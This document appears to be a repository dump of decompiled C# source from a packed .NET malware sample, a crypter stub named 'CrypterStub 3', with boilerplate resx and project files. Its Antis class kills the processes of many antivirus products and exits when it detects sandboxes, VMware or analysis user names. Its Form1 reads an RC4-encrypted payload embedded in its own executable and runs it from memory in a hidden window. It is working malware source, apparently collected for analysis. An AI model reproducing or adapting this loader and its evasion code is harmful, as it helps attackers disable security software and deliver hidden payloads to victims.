+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/Antis.cs

@@ -0,0 +1,472 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Antis
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  public class Antis
+  {
+    [DebuggerNonUserCode]
+    public Antis()
+    {
+    }
+
+    public static void Enable()
+    {
+      Antis.mofo();
+      Antis.AntiAntiGen();
+      Antis.AntiAsquared();
+      Antis.AntiAvast();
+      Antis.AntiAVG();
+      Antis.AntiBullGuard();
+      Antis.AntiClamAV();
+      Antis.AntiComodo();
+      Antis.AntiEstNod32();
+      Antis.AntiEwido();
+      Antis.AntiFPROT6();
+      Antis.AntiKaspersky();
+      Antis.AntiMcAfee();
+      Antis.AntiNorton();
+      Antis.AntiOfficeScan();
+      Antis.AntiOutPost();
+      Antis.AntiPCCillin();
+      Antis.AntiServerProtect();
+      Antis.AntiSpySweeper();
+      Antis.AntiThreatExpert();
+      Antis.AntiVirtualPC();
+      Antis.AntiZoneAlarm();
+    }
+
+    public static void AntiSandboxie(Form frmSelect)
+    {
+label_0:
+      int num1;
+      int num2;
+      try
+      {
+        ProjectData.ClearProjectError();
+        num1 = -2;
+label_1:
+        int num3 = 2;
+        if (!frmSelect.Text.Contains("#"))
+          goto label_9;
+label_2:
+        num3 = 3;
+        frmSelect.Close();
+        ProjectData.EndApp();
+        goto label_9;
+label_4:
+        num2 = num3;
+        switch (num1 > -2 ? num1 : 1)
+        {
+          case 1:
+            int num4 = num2 + 1;
+            num2 = 0;
+            switch (num4)
+            {
+              case 1:
+                goto label_0;
+              case 2:
+                goto label_1;
+              case 3:
+                goto label_2;
+              case 4:
+              case 5:
+              case 6:
+                goto label_9;
+            }
+            break;
+        }
+      }
+      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
+      {
+        ProjectData.SetProjectError(ex);
+        goto label_4;
+      }
+      throw ProjectData.CreateProjectError(-2146828237);
+label_9:
+      if (num2 == 0)
+        return;
+      ProjectData.ClearProjectError();
+    }
+
+    public static void AntiMcAfee()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mcagentmcuimgr", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAVG()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avgemc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAsquared()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "a2servic", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAvast()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ashWebSv", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiClamAV()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "clamauto", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiComodo()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "cpf", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEwido()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ewido", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiFPROT6()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "FPAVServer", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiKaspersky()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "kavsvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiBullGuard()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "BullGuard", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiZoneAlarm()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "VSMON", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAntiGen()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "antigen", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiNorton()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ccapp", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOfficeScan()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "tmlisten", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiPCCillin()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "pccntmon", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiServerProtect()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "earthagent", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiSpySweeper()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "spysweeper", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiVirtualPC()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "vpcmapvmsrvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOutPost()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "acs.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEstNod32()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "nod32.exenod32krn.exeekrn.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)]
+    private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
+
+    public static void mofo()
+    {
+      Antis.seekit("MSASCui");
+      Antis.seekit("msmpeng");
+      Antis.AntiSandboxie();
+      Antis.IsVmWare();
+      Antis.AntiThreatExpert();
+      Antis.checkUsername();
+      Antis.checkComputername();
+    }
+
+    private static void seekit(string gay1)
+    {
+      Process[] processes = Process.GetProcesses();
+      int index = 0;
+      while (index < processes.Length)
+      {
+        Process process = processes[index];
+        if (process.ProcessName.Contains(gay1))
+        {
+          try
+          {
+            process.Kill();
+          }
+          catch (Exception ex)
+          {
+            ProjectData.SetProjectError(ex);
+            ProjectData.ClearProjectError();
+          }
+        }
+        checked { ++index; }
+      }
+    }
+
+    private static void checkUsername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("UserName");
+      stringList.Add("User");
+      stringList.Add("honey");
+      stringList.Add("sandbox");
+      stringList.Add("currentuser");
+      stringList.Add("User");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.UserName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    private static void checkComputername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("ComputerName");
+      stringList.Add("COMPUTERNAME");
+      stringList.Add("DELL-D3E62F7E26");
+      stringList.Add("DWI-9625AC2E275");
+      stringList.Add("MICHAEL-F156CF7");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.MachineName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    public static void AntiSandboxie()
+    {
+      if (Process.GetProcessesByName("SbieSvc").Length < 1)
+        return;
+      Environment.Exit(0);
+    }
+
+    public static void IsVmWare()
+    {
+      string str1 = "VMDragDetectWndClass";
+      ref string local1 = ref str1;
+      string str2 = (string) null;
+      ref string local2 = ref str2;
+      if (Antis.FindWindow(ref local1, ref local2) != 0L)
+        return;
+      Environment.Exit(0);
+    }
+
+    private static void AntiThreatExpert()
+    {
+      if (!Process.GetCurrentProcess().MainModule.FileName.Contains("sample"))
+        return;
+      Environment.Exit(0);
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyProduct("CrypterStub 3")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyTitle("CrypterStub 3")]
+[assembly: AssemblyCompany("Hewlett-Packard")]
+[assembly: Guid("c219cd53-5179-42e0-bb74-5b297c74ecd1")]
+[assembly: AssemblyCopyright("Copyright © Hewlett-Packard 2010")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/Form1.cs

@@ -0,0 +1,152 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Form1
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  [DesignerGenerated]
+  public class Form1 : Form
+  {
+    private IContainer components;
+
+    [DebuggerNonUserCode]
+    public Form1()
+    {
+      this.Load += new EventHandler(this.Form1_Load);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      this.SuspendLayout();
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.ClientSize = new Size(10, 10);
+      this.FormBorderStyle = FormBorderStyle.None;
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (Form1);
+      this.Opacity = 0.0;
+      this.ShowIcon = false;
+      this.ShowInTaskbar = false;
+      this.StartPosition = FormStartPosition.Manual;
+      this.ResumeLayout(false);
+    }
+
+    private byte[] StringToByteArray(string str) => new ASCIIEncoding().GetBytes(str);
+
+    private void RunFromMemory(byte[] bytes)
+    {
+      Assembly assembly = Assembly.Load(bytes);
+      MethodInfo entryPoint = assembly.EntryPoint;
+      object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name))));
+      entryPoint.Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue))), new object[1]
+      {
+        (object) new string[1]{ "1" }
+      });
+    }
+
+    public static byte[] RC4EnDeCrypt(byte[] plaintxt, byte[] password)
+    {
+      byte[] numArray = new byte[checked (plaintxt.Length + 1)];
+      int[] sbox = new int[257];
+      int index1 = 0;
+      int index2 = 0;
+      Form1.RC4Initialize(password, ref sbox);
+      int num1 = checked (plaintxt.Length - 1);
+      int index3 = 0;
+      while (index3 <= num1)
+      {
+        index1 = checked (index1 + 1) % 256;
+        index2 = checked (index2 + sbox[index1]) % 256;
+        int num2 = sbox[index1];
+        sbox[index1] = sbox[index2];
+        sbox[index2] = num2;
+        int num3 = sbox[checked (sbox[index1] + sbox[index2]) % 256];
+        plaintxt[index3] = (byte) ((int) plaintxt[index3] ^ (int) Convert.ToByte(num3));
+        checked { ++index3; }
+      }
+      return plaintxt;
+    }
+
+    protected static void RC4Initialize(byte[] key, ref int[] sbox)
+    {
+      int length = key.Length;
+      int index1 = 0;
+      do
+      {
+        sbox[index1] = index1;
+        checked { ++index1; }
+      }
+      while (index1 <= (int) byte.MaxValue);
+      int index2 = 0;
+      int index3 = 0;
+      do
+      {
+        index2 = checked (index2 + sbox[index3] + (int) key[unchecked (index3 % length)]) % 256;
+        int num = sbox[index3];
+        sbox[index3] = sbox[index2];
+        sbox[index2] = num;
+        checked { ++index3; }
+      }
+      while (index3 <= (int) byte.MaxValue);
+    }
+
+    private void Form1_Load(object sender, EventArgs e)
+    {
+      string Delimiter = "~~||$CyCrYpTeR$||~~";
+      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
+      string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
+      FileSystem.FileGet(1, ref Expression);
+      FileSystem.FileClose(1);
+      try
+      {
+        string[] strArray = Strings.Split(Expression, Delimiter);
+        string s = strArray[1];
+        byte[] bytes = Encoding.ASCII.GetBytes(strArray[2]);
+        if (Operators.CompareString(strArray[3], "true", false) == 0)
+          Antis.Enable();
+        byte[] parameter = Form1.RC4EnDeCrypt(Convert.FromBase64String(s), bytes);
+        Thread thread = new Thread((ParameterizedThreadStart) (a0 => this.RunFromMemory((byte[]) a0)));
+        thread.TrySetApartmentState(ApartmentState.STA);
+        thread.Start((object) parameter);
+        this.Close();
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/Form1.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/My/MyApplication.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyApplication
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyComputer
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyComputer : Computer
+  {
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyProject
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-4537ff35453150a7b86390915ba8c8f44821fa558e4f0fd7a6a7a5a9caad58f3.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
